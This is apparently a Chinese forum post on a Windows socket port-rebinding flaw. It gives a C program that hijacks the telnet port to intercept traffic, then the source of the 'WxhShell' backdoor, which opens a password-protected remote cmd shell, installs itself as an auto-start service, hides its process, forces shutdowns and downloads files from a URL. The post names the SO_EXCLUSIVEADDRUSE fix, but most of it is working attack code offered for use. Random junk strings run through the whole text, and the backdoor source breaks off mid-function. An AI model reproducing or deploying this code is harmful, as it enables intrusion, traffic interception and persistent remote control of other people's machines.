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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5`'au61/2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \3(|c#c xiOrk saddr.sin_family = AF_INET; k&_u\D"^"% dms:i)L2 saddr.sin_addr.s_addr = htonl(INADDR_ANY); y#Za|nt [(P[qEY bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;7^j-6 JvWs/AG1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ah"MzU) q'AnI$! 这意味着什么?意味着可以进行如下的攻击: 19w,'}CGk a0/n13c?G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t k/K0u I1 R\Ts@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i&'^9"Z)O b}?@syy8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 . I&)MZ>n p5# P
r 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ZJI1NCBZ Up/u|A$0V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 07LL)v~ W/ZahPPq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >?{iv1 N7HbOLpM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6[3Ioh OxHw1k #include 6=g]Y!o$ #include {cyo0-9nv #include D.&eM4MZ #include ~SR(K{nf#. DWORD WINAPI ClientThread(LPVOID lpParam); K0DXOVT\ int main() +?5Uy*$ { hzuMTKH9 WORD wVersionRequested; ND55`KT4 DWORD ret; "J[i=~( WSADATA wsaData; :
`6$/DK BOOL val; id#k!*$7 SOCKADDR_IN saddr; G0;EbJ/& SOCKADDR_IN scaddr; WP@JrnxO\` int err; <;,S"e SOCKET s; .1z$ A SOCKET sc; J.e8UQ@=5 int caddsize; D@rn@N HANDLE mt; qvfAG 0p DWORD tid; (|a$N.e&K wVersionRequested = MAKEWORD( 2, 2 ); x+*L5$;h err = WSAStartup( wVersionRequested, &wsaData ); o~.o^0Y if ( err != 0 ) { $YGIN7_Gg printf("error!WSAStartup failed!\n"); gcW{]0%L^ return -1; .t^UK#@#4 } c]aK
N saddr.sin_family = AF_INET; ;/)Mcx] n :U-US|)(2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DvRA2(M RqN_vk\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wUIsi<Oj saddr.sin_port = htons(23); l`M5'r]l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d[>N6?JA/ { {Z?$Co^R printf("error!socket failed!\n"); +.gf]| return -1; UU;-q_H6 } f?>-yMR| val = TRUE; =@1R ozt //SO_REUSEADDR选项就是可以实现端口重绑定的 s7UhC.>'@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JJ
N(M*; { e1 {t0f printf("error!setsockopt failed!\n"); B~_,>WG return -1; A}#]g>L } |?fW!y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CNpe8M=/3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =ve*g& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .^W\OJ`G (Xr_ np @ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y[^k*,=
9 { /50g3?X, ret=GetLastError(); ;5Wx$Yfx printf("error!bind failed!\n"); az\<sWb# return -1; S-M)MCL } !}L~@[v,uL listen(s,2); aX[1H6&=7 while(1) x'=3&vc4 { P+;CE|J`X caddsize = sizeof(scaddr); #A|D\IhF //接受连接请求 L)R[)$2(g sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~3'OiIw1@ if(sc!=INVALID_SOCKET) dxkRk#mf: { e$ XY\{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 22al if(mt==NULL) B
\_d5WJ< { Hn#GS9d_? printf("Thread Creat Failed!\n"); "J8;4p break; ;Txv-lfS } u6iU[5 } (/"K+$8' CloseHandle(mt); nI` f_sp } wZo.ynXT closesocket(s); 6=G~6Qu WSACleanup(); 5M<'A= return 0; v ]/OAH6D } nL":0!DTRD DWORD WINAPI ClientThread(LPVOID lpParam) QX/X {h6 { [w+h-q SOCKET ss = (SOCKET)lpParam; O2`oe4."vd SOCKET sc; w PG1P'w; unsigned char buf[4096]; LL= Z$U
$ SOCKADDR_IN saddr; ?u_gXz;A long num; xb+RRTgj DWORD val; qLQ <1>u DWORD ret; kvW|= //如果是隐藏端口应用的话,可以在此处加一些判断 BrlzN='j} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 q3AJwELXw saddr.sin_family = AF_INET; n*vTVt)dJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H{\.g=01 saddr.sin_port = htons(23); E(QZ!'%K+m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,?xLT2>J_ { )h>\05|T printf("error!socket failed!\n"); Z>(r9R3{ return -1; z.2r@Psk } -y&v9OC2- val = 100; E ;BPN if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sJ))<,e5I { _KB{J7bs<a ret = GetLastError(); V>b2b5QAH, return -1; }J ei$0x } mQd4#LJ_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W>5vRwx00 { ,hpH!J'5f/ ret = GetLastError(); e2]4a3 return -1; *#&k+{a^2 } |^7f\.oF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8sN#e(@
{ ADv^eJJ| printf("error!socket connect failed!\n"); DS#cm3 closesocket(sc); a|DsHZ^6^ closesocket(ss); Q^z=w![z return -1; mR{CVU } IVI~1~ while(1) eu#,WwlG { Zg
-]sp] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sU) TXL'_! //如果是嗅探内容的话,可以再此处进行内容分析和记录 CS/Mpmsp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !c3```* num = recv(ss,buf,4096,0); :a_BD if(num>0) ?z2jk send(sc,buf,num,0); ?QCmSK=L else if(num==0) B.89_!/:p break; V]I:2k5 num = recv(sc,buf,4096,0); ?PBa'g if(num>0) ,HFs.9#&B send(ss,buf,num,0); uh]"(h(> else if(num==0) z$JX'(<Z7 break; +hE',i. } aq3~!T;W closesocket(ss); 3lo;^KX ! closesocket(sc); 9T(L"9r-e return 0 ; ;B&^yj&; } BjJ,"sT K)\(wxv 4p.^'2m ========================================================== PG{i,xq_B{ ?b||Cr 下边附上一个代码,,WXhSHELL =43I1&_
0cHfxy3 ========================================================== O^5UB~ KAd_zkUA #include "stdafx.h" +7,8w '.?^uM #include <stdio.h> b2N6L2~V #include <string.h> 6X/wdk #include <windows.h>
qE )Y}oN #include <winsock2.h> tawe Gc%~ #include <winsvc.h> F\a]n^
Y #include <urlmon.h> PK_s#uC otO
j^xU #pragma comment (lib, "Ws2_32.lib") Q"40#RFA #pragma comment (lib, "urlmon.lib") O~V1Ywfq7^ A (Bk@; #define MAX_USER 100 // 最大客户端连接数 {m[s<A( #define BUF_SOCK 200 // sock buffer n-DaX
kK #define KEY_BUFF 255 // 输入 buffer R {HV]o|qk R (G2qi #define REBOOT 0 // 重启 +a%xyD:.? #define SHUTDOWN 1 // 关机 3gAR4 5iVQc -m& #define DEF_PORT 5000 // 监听端口 $9K(F~/ pz{'1\_+9 #define REG_LEN 16 // 注册表键长度 )zU: #define SVC_LEN 80 // NT服务名长度 ]*qU+& axmsrjW# // 从dll定义API 7paUpQit typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?WQNIX4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1BJ<m5/1% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6B0#4Qrv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ga v"C{G H$!+A // wxhshell配置信息 Z7fg
25 struct WSCFG { qj&bo int ws_port; // 监听端口 .20V
3 char ws_passstr[REG_LEN]; // 口令 fAGctRGH int ws_autoins; // 安装标记, 1=yes 0=no `H\)e%] char ws_regname[REG_LEN]; // 注册表键名 Y;Ap9i* char ws_svcname[REG_LEN]; // 服务名 "+)K |9T# char ws_svcdisp[SVC_LEN]; // 服务显示名 OOnX` char ws_svcdesc[SVC_LEN]; // 服务描述信息 g+xw$A ou char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ve}[XqdS^p int ws_downexe; // 下载执行标记, 1=yes 0=no 8'A72*dhX char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" >H>gH2qp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q/NY72tj0 #EDEYEW7 }; 9Hd;353Q =. *98 // default Wxhshell configuration `1Zhq+s struct WSCFG wscfg={DEF_PORT, OR:[J5M) "xuhuanlingzhe", qz!Ph5( 1, kbYeV_OwM "Wxhshell", Bq@zaMv "Wxhshell", iib "WxhShell Service", LvcuZZ`1a "Wrsky Windows CmdShell Service", P ZxFZvE "Please Input Your Password: ", ]ab#q= 1, XM/vDdR " http://www.wrsky.com/wxhshell.exe", Tkw;pb "Wxhshell.exe" }s_hD`' }; 2C$R4:Ssw) } XR:2 // 消息定义模块 Dzl;-]S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2#vv$YD char *msg_ws_prompt="\n\r? for help\n\r#>"; a^t?vv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ~=En+J}* char *msg_ws_ext="\n\rExit."; Ub_4yN; char *msg_ws_end="\n\rQuit."; =WG=C1Z char *msg_ws_boot="\n\rReboot..."; AVl~{k| char *msg_ws_poff="\n\rShutdown..."; :K':P5i char *msg_ws_down="\n\rSave to "; c+kU o$ \(
)#e char *msg_ws_err="\n\rErr!"; 3QXjD/h char *msg_ws_ok="\n\rOK!"; jjzA .8?(7 >9H@|[C char ExeFile[MAX_PATH]; 52d^K0STC int nUser = 0; egk7O4zwP HANDLE handles[MAX_USER]; `.%JjsD< int OsIsNt; R@iUCT^$ +Qxu$# SERVICE_STATUS serviceStatus; 9H0Hu]zM SERVICE_STATUS_HANDLE hServiceStatusHandle; HYK!}& ytz SAbj // 函数声明 \4d.sy0&>- int Install(void); :hRs`=d"r int Uninstall(void); Rp9fO?ZjHt int DownloadFile(char *sURL, SOCKET wsh); "TcW4U9 int Boot(int flag); S4CbyXW void HideProc(void); Wg`AZ=t int GetOsVer(void); 23!;}zHp int Wxhshell(SOCKET wsl); Iu@y(wyg void TalkWithClient(void *cs); E.`U`L int CmdShell(SOCKET sock); .7NNT18 int StartFromService(void); #R0A= ! int StartWxhshell(LPSTR lpCmdLine); BYrZEVM9 6K`c/) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8eBOr9l+j VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q/ms]Du MPgS!V1 // 数据结构和表定义 l_tw<`Ep SERVICE_TABLE_ENTRY DispatchTable[] = WLa!.v> {
+=q) {wscfg.ws_svcname, NTServiceMain}, G!N{NCq {NULL, NULL} #oeG!<Mn }; "9EE1];NT z4#(Ze@u~_ // 自我安装 X?:o;wB int Install(void) 3.d"rl { =J-5.0Q\_\ char svExeFile[MAX_PATH]; 7uorQfR? HKEY key; `;|5 strcpy(svExeFile,ExeFile); 7?8wyk|x @`opDu! // 如果是win9x系统,修改注册表设为自启动 ,#FLM` if(!OsIsNt) { {GDmVWG0q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Migd(uw' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <ljI;xE RegCloseKey(key); W7"{r)7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Ng\B.IQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -oeL{9; RegCloseKey(key); GZS1zTwBL return 0; eI.2`)> } Pg9hW } A[IL
H_w } )#|<w9uec else { 8.'#?]a ^,l_{ // 如果是NT以上系统,安装为系统服务 2sNK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =S '%`] f? if (schSCManager!=0) JO=[YoTr { |(moWY= SC_HANDLE schService = CreateService IK,|5] *Ar ( :j|IP)-f schSCManager, gqXS~K9t wscfg.ws_svcname, 2!&&|Mh} wscfg.ws_svcdisp, j'[m:/ SERVICE_ALL_ACCESS, ^ -FX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yR{x}DbG SERVICE_AUTO_START, 7 n]65].t SERVICE_ERROR_NORMAL, Uv
YF[@ svExeFile, 7Dnp'*H NULL, )jWOP,| NULL, JN^&S NULL, `%+ mO88o NULL, K{n{KB&_& NULL M"%Q&o/I ); z
<mK>$ if (schService!=0) %WqNiF0- { b:qY gg CloseServiceHandle(schService); V8eB$in CloseServiceHandle(schSCManager); R52I=
a5,* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3@5=+z~CW strcat(svExeFile,wscfg.ws_svcname); e h,~^x5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r=yK,d/1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K)TrZ 2 RegCloseKey(key); s1|/S\ return 0; ^(viM?* } 4f(Kt,0 } )%!XSsY.N| CloseServiceHandle(schSCManager); cyxuK*x< } XZw6Xtn } x `V;Y]7' q80S[au return 1; iNwqF0 } 6_N(;6kx( k6=nO?$ // 自我卸载 ]kG(G%r|M int Uninstall(void) Mi~(aah { sB69R:U; HKEY key; 5>AX*]c e8'wG{3A if(!OsIsNt) { ,vW:}&U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {BHI1Uw RegDeleteValue(key,wscfg.ws_regname); AyMd:5; RegCloseKey(key); Ts~L:3oaQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C"IKt RegDeleteValue(key,wscfg.ws_regname); YJ(*wByM RegCloseKey(key); G%d
( return 0; ')GSAY7 } .f+TZDUO } )E+'*e{cK } BB|?1"neg else { #p[',$cC ah~YeJp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,^icPQSwc if (schSCManager!=0) MQin"\ { @3kKJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V`@>MOw^d if (schService!=0) $['Bv { <T[E=# if(DeleteService(schService)!=0) { F[ewn/]n CloseServiceHandle(schService); NWxUn.Gy9 CloseServiceHandle(schSCManager); FZ8b7nJ)4m return 0; |>z3E z } G9JAcO1 CloseServiceHandle(schService); T6ENtp } )?wJF<[_# CloseServiceHandle(schSCManager); ;2Q~0a| } vX ] Gf4, } ytNO*XoR &HSq(te return 1; vzmc}y G } x`6<m!d` ``E/m<r:$ // 从指定url下载文件 ,!U=|c"k) int DownloadFile(char *sURL, SOCKET wsh) /> 4"~q) { .CFa9"< HRESULT hr; "?mJqA char seps[]= "/"; %w7]@V Z char *token; 8mQmi` char *file; 6d+p7x char myURL[MAX_PATH]; E\C9|1) char myFILE[MAX_PATH]; 0>zbCubPH
`7H4Y&E strcpy(myURL,sURL); VWO9=A*Y| token=strtok(myURL,seps); 2YDM9`5xs\ while(token!=NULL) ]KJj6xn { D.mHIsX6\ file=token; +E1h#cc) token=strtok(NULL,seps); a+Ac[> } QD%L0;j r7',3V GetCurrentDirectory(MAX_PATH,myFILE); "U7qo}`I strcat(myFILE, "\\"); ciMzf$+G$ strcat(myFILE, file); #UbF9})q send(wsh,myFILE,strlen(myFILE),0); )&!&AlLn send(wsh,"...",3,0); u7=U^}# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AFAAuFE" if(hr==S_OK) QVtQx>K` return 0; &-;5*
lg)0 else xt*u4% return 1; \eFR(gO+ #t+d iR } GI&h`X5,e 6:~v4W!k // 系统电源模块 Jkek-m int Boot(int flag) *M"}z { Sy
'Dp9!| HANDLE hToken; )Eo)t> TOKEN_PRIVILEGES tkp; hvaSH69*m YD7Oao4:o if(OsIsNt) { $ ,
u+4h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X*\J_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D"D<+
;S# tkp.PrivilegeCount = 1; JeE;V![ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6AhM=C AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E@b(1@ if(flag==REBOOT) {
)KAEt.
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rh^mJUh return 0; r3PT1'P?L } cMOyo<F#^= else { LSRk7'0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o !U
6? return 0; 7"C$pm6 } j}C}:\-fY } Ct>GYk$ else { UNBH if(flag==REBOOT) { mrjswF27$o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r!
MWbFw|X return 0; v'3J.?N } 9c("x%nLpB else { $A-J,_:T< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \vO,Ee~#W return 0; Kh_Lp$'0uM } 3(,?S$> } #%h-[/ *vwbgJG! * return 1; 2V#>)R#k } Ob<{G" r<d_[?1N // win9x进程隐藏模块 mUikA9u5= void HideProc(void) %Da1(bBh { ]Yn_}Bq aq@8"b(. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LF& z if ( hKernel != NULL ) B e0ND2oo { rr02pM0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,tu.2VQc@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ia+oX~W!VR FreeLibrary(hKernel); 4J/}]Dr5 } I!Z_[M U ^5Kz-5. return; GE%Z9#E } ud'-;W TI,&!E?; // 获取操作系统版本 heC/\@B int GetOsVer(void) (<xfCH
F5 { \=ux atw OSVERSIONINFO winfo; ]\hSI){ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9CWezI+ GetVersionEx(&winfo); &&8IU;J if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MS
81sN\d return 1; 8y.wSu
else >\P@^ h] return 0; PuA9X[= } ':3pq2{ afuOeZP // 客户端句柄模块 lJ}_G>GJ int Wxhshell(SOCKET wsl) DpvI[r//'* { %Q
fO8P SOCKET wsh;
e]$}-i@# struct sockaddr_in client; 1Vrh4g.l DWORD myID; y[)> yq y ?R$F)g7< while(nUser<MAX_USER) qzKdQ&vO { xy/`ZS2WPq int nSize=sizeof(client); 7WkB>cn wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }Mp:JPH&S4 if(wsh==INVALID_SOCKET) return 1; t!W(_8j
4~Vx3gEV: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @ hiCI.?X if(handles[nUser]==0)
!sQY&* closesocket(wsh); CYs,` else 'MUv5Th nUser++; 5HkKurab } :t8b39 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mS$j?>m nYR# return 0; dJeNbVd } {JZZZY!n2 Ai=se2 // 关闭 socket Ce9|=Jx! void CloseIt(SOCKET wsh) AN8`7F1 { O`x;,6Vr closesocket(wsh); /YW>*?"N nUser--; 7~^GA.92 ExitThread(0); "7'J&^| } Vd,jlt.t EUD~CZhS"k // 客户端请求句柄 vj'wm}/ void TalkWithClient(void *cs) n$xc];j { Y!~49<; c}Ft^Il SOCKET wsh=(SOCKET)cs; @r/#-?W char pwd[SVC_LEN]; ]/[FR 5> char cmd[KEY_BUFF]; [,t*Pfq'W8 char chr[1]; qON|4+~u% int i,j; fxgPhnaC> #C~+JL while (nUser < MAX_USER) { >BIMi^ }iXDa?6% if(wscfg.ws_passstr) { ~P*6ozSYpY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y>|B;Kj0( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {@H6HqD //ZeroMemory(pwd,KEY_BUFF); 0Is,*Srr i=0; I
WTwz!+ while(i<SVC_LEN) { ^=BTz9QM `YFtL // 设置超时 nOt&pq7 fd_set FdRead; ~Sg5:T3 struct timeval TimeOut; 5gb|w\N> FD_ZERO(&FdRead); )IP,;< FD_SET(wsh,&FdRead); r@72|:, TimeOut.tv_sec=8; oibsh(J3 TimeOut.tv_usec=0; $*^kY; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^nT/i
.#_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9v;Vv0k_ ;X8yFq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :By?O"LQ pwd =chr[0]; N+m)/x
=: if(chr[0]==0xd || chr[0]==0xa) { 0ZT5bg_M pwd=0; _D+}q_ break; In:9\7~jC
} Upc+Ukw i++; #^`4DhQ/
1 } <>dT64R| q- // 如果是非法用户,关闭 socket O}+.U<V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ) brVduB } 9E
zj" j5K]CTz# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hc!
mB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B( ]M& i'a?kSy while(1) { 8e*,jH3 @XgKYm
ZeroMemory(cmd,KEY_BUFF); w zYzug K0H'4' I // 自动支持客户端 telnet标准 NE"@Bk
cm j=0; I3=%h while(j<KEY_BUFF) { xO$lsZPG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $:cE ^8K cmd[j]=chr[0]; tR}MrM if(chr[0]==0xa || chr[0]==0xd) { I~q#eO) cmd[j]=0; r;/4F/6" break; c2h{6;bfY } &qMPq-> j++; M2HomO/X) } iWRH{mK $h5xH9x
; // 下载文件 M=%l}FSTw( if(strstr(cmd,"http://")) { t0/p]=+.p/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); Te.Y#lCT$ if(DownloadFile(cmd,wsh))
>7wOoK|1' send(wsh,msg_ws_err,strlen(msg_ws_err),0); |2?'9< else QP@%(]f G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %dRo^E1p } V `b2TS else { M3J#'%$ ?HTjmIb switch(cmd[0]) { :?k>HQe &)8:h+&Z // 帮助 0@yXi case '?': { b o0^3]Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LUG;(Fko break; ST2.:v;lb } @Py/K / // 安装 Ager$uC case 'i': { E4gYemuN if(Install())
*-+&[P]m send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?,an2 else VGfMN|h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @x9a?L.48 break; 0Oi,#]F } P7J>+cm // 卸载 $"`- ^ case 'r': { 3!3xCO if(Uninstall()) l]@&D#3ZM send(wsh,msg_ws_err,strlen(msg_ws_err),0); VcAue!MN else *YW/_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &K[_J break; 3t`P@nL0; } J cg,#@ // 显示 wxhshell 所在路径 _,zA ^*b case 'p': { _]04lGx27 char svExeFile[MAX_PATH]; Scp7X7{N strcpy(svExeFile,"\n\r"); /,1D)0 strcat(svExeFile,ExeFile); \X<bH&x:z send(wsh,svExeFile,strlen(svExeFile),0); e`@ # *}A break; T:t]"d}} } 4FEk5D // 重启 ?f#y1m case 'b': { n?A6u\sQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LG-y]4a} if(Boot(REBOOT)) wQv'8A_} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ie;]/va else { 3j,Q`+l/6d closesocket(wsh); cnSJ{T ExitThread(0); sqla}~CiX } flk=>h| break; rJPb 3F } K2he4< // 关机 n/DP>U$I& case 'd': { N<f"] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @WJgWJm if(Boot(SHUTDOWN)) /nyUG^5#{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4S,`bnmB else { ^cV;~&|.Xk closesocket(wsh); $>*3/H ExitThread(0); _Bj)r}~7# } `o<'
x.I break; =2[7
E } EzDk}uKY0R // 获取shell r9X?PA0f case 's': { =2Bg9!zW> CmdShell(wsh); JQ}$Aqk closesocket(wsh); dODt(J}% ExitThread(0); #@^t;)| break; Q&MZN);. } 0*%Z's\M" // 退出 qi;f^9M% case 'x': { OH;b"] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
D0g ZC CloseIt(wsh); ~}F{vm break; =Qh\D } NXwz$}}Pp // 离开 km)zMoE{c{ case 'q': { zfI>qJ+Nqt send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8'~[pMn` closesocket(wsh); UjaK&K+M? WSACleanup(); Dpvk\t exit(1); #6ri-n break; Uh7v@YMC } =.y~f A! } D<|qaHB= } e"/;7:J5\ N e#WI' // 提示信息 +lJG(Qd if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p+l !6 } ElS 9?Q+ } a-l;vDs +SsK21f"r return; |o,8V p } I([!]z k:JrHBKv\ // shell模块句柄 k9$K} int CmdShell(SOCKET sock) Mzsfo;kk+ { =3q/F7- STARTUPINFO si; mu?Eco`~ ZeroMemory(&si,sizeof(si)); )p
T?/J si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7s"<
'cx_F si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VS9`{ PROCESS_INFORMATION ProcessInfo; 3BB%Z6F char cmdline[]="cmd"; |_o=^?z' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SGh1 DB return 0; J\d3N7_d } 1c<=A!"{ b`)){LR // 自身启动模式 \zieyE int StartFromService(void) fQ/
0R { 7:9.&W/KE typedef struct L !=4N!j { _7IKzUn9g[ DWORD ExitStatus; )N=NR2xBZ DWORD PebBaseAddress; D<8HZ%o DWORD AffinityMask; AK\$i$@6 DWORD BasePriority; +|bmT ULONG UniqueProcessId; AgV G`q ULONG InheritedFromUniqueProcessId; ZZcEt } PROCESS_BASIC_INFORMATION; R&|mdY8 t<~ $ PROCNTQSIP NtQueryInformationProcess; D|rFu dY@WI[yog static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a["2VY6Eq@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &krwf
